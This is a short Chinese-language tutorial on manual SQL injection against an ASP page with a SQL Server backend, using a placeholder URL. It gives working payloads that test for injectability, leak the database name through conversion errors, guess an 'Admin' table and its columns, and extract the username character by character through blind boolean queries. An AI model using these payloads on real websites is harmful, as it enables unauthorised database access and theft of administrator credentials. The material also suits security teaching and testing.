判斷能否進行SQL注入 :
①
http://www.mytest.com/showdetail.asp?id=49②
;and 1=1
③
;and 1=2
可以注入
① ② 正常,③ 報錯
不可以注入
① 正常,② ③ 報錯
資料庫名稱
;and user>0
char和int比較報錯為:
将char值 ”abc” 轉換資料類型為 int 的列時發生文法錯誤。
這樣就可以通過報錯獲得資料庫名“abc”啦~
猜表名
ID=49 And (Select Count(*) from Admin)>=0
如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。
表名Admin
猜字段
将Count(*)替換成Count(字段名),用同樣的原理猜解字段名
字段名username
猜字段的值(Ascii逐字解碼法)
1.測試長度
;and (select top 1 len(username) from Admin)>0
其中top語句用來傳回要規定記錄的數目。
如果top 1的username長度大于0,則條件成立;接着就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8
2 測試每個字元值
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
同樣也是用逐漸縮小範圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程式測試,效率會有極大的提高。